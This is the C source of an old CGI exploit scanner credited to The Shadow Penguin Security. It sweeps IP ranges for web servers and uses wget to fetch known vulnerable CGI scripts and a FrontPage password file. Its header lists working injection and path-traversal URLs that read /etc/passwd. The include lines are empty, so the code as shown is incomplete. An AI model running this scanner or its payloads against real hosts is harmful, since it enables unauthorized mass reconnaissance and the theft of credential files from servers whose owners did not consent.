/*============================================================================= CGI seculity holes scanner - CGI exploit Ver1.10 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) *Target Hole phf、test-cgi、nph-test-cgi、campas、htmlscript、service.pwd *Test http://www.hoge.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd http://www.hoge.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd http://www.hoge.com/cgi-bin/nph-test-cgi?/* http://www.hoge.com/cgi-bin/campas?%0a/bin/cat%0a/etc/passwd http://www.hoge.com/cgi-bin/htmlscript?../../../../etc/passwd http://www.hoge.com/_vti_pvt/service.pwd ------------------------------------------------------------ */ #include #include #include #include #include #include #include /* #include #include */ #define LOGNAME "cgiexp.log" #define TIMEOUT_V 2 /* Connection Timeout value */ #define MAX_IPLEN 16 #define MAX_URLLEN 1000 /* exploitable CGI holes (easy to add) */ static char *holes[]={ "cgi-bin/phf", "cgi-bin/test-cgi", "cgi-bin/nph-test-cgi", "cgi-bin/campas", "cgi-bin/htmlscript", "_vti_pvt/service.pwd", "END"}; int sock; main(int argc,char *argv[]) { int separation(char *,unsigned long *); void attack(char *,FILE *); int i,j; unsigned long ips,ipe,ip; char ipb[MAX_IPLEN],buf[MAX_IPLEN],buf2[MAX_IPLEN]; char cmd[MAX_URLLEN]; FILE *fpw,*fpl; printf("CGI seculity holes scanner - CGI exploit Ver1.10\n"); printf("The Shadow Penguin Security Inc.\n\n"); if (argc==2){ if ((fpl=fopen(argv[1],"r"))==NULL){ printf("File not found '%s'\n",argv[1]); exit(1); } }else{ printf("Start IP address : "); scanf("%s",buf); if (separation(buf,&ips)==-1){ printf("Error : Invalid IP address\n"); exit(1); } printf("End IP address : "); scanf("%s",buf2); if (separation(buf2,&ipe)==-1){ printf("Error : Invalid IP address\n"); exit(1); } } if ((fpw=fopen(LOGNAME,"w"))==NULL){ printf("File write error '%s'\n",LOGNAME); exit(1); } if (argc==2){ for (;;){ if (feof(fpl)) break; fscanf(fpl,"%s",ipb); attack(ipb,fpw); } fclose(fpl); }else{ for (ip=ips;ip<=ipe;ip++){ sprintf(ipb,"%lu.%lu.%lu.%lu",ip>>24,(ip&0x00ff0000)>>16, (ip&0x0000ff00)>>8, ip&0x000000ff); attack(ipb,fpw); } } fclose(fpw); } void attack(char *ipb,FILE *fpw) { int flag; int i,j; char cmd[MAX_URLLEN]; FILE *fp; int portscan(int, char *); printf("%15s...",ipb); fprintf(fpw,"%15s...",ipb); if (portscan(80,ipb)==0){ flag=0; for (i=0;;i++){ if (strcmp(holes[i],"END")==0) break; for (j=strlen(holes[i])-1;j>=0;j--) if (holes[i][j]=='/') break; j++; remove(holes[i]+j); sprintf(cmd,"wget -nv %s/%s",ipb,holes[i]); system(cmd); if ((fp=fopen(holes[i]+j,"r"))!=NULL){ if (flag==0){ printf("\n"); fprintf(fpw,"\n"); } printf("Hit!! Running '%s'\n",holes[i]+j); fprintf(fpw,"Hit!! Running '%s'\n",holes[i]+j); fclose(fp); flag++; } } if (flag==0){ printf("no holes\n"); fprintf(fpw,"no holes\n"); } }else{ printf("\n"); fprintf(fpw,"\n"); } } int separation(char *ipaddr,unsigned long *ipl) { int i,j,n; char buf[MAX_IPLEN]; int ip[4]; unsigned long d; for (n=0,j=0,i=0;i<=strlen(ipaddr);i++){ if (ipaddr[i]=='.' || i==strlen(ipaddr)){ buf[j]=0; ip[n]=atoi(buf); if (ip[n]<0 || ip[n]>255) return (-1); n++; j=0; }else{ buf[j]=ipaddr[i]; j++; } } if (n!=4) return (-1); d=256; *ipl=ip[3]+ip[2]*d+ip[1]*d*d+ip[0]*d*d*d; return(0); } int portscan(int port, char *ipaddr) { struct sockaddr_in addr, server; void timeoutfunc(); sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0){ printf("Socket creation error"); return(-1); } memset((char *) &server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = 0; if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) { close(sock); printf("Bind error "); return (-2); } addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(ipaddr); addr.sin_port = htons(port); signal(SIGALRM, timeoutfunc); alarm(TIMEOUT_V); if (connect(sock,(struct sockaddr *)&addr,sizeof(addr))!=0){ close(sock); return (-3); } close(sock); return (0); } void timeoutfunc() { close(sock); }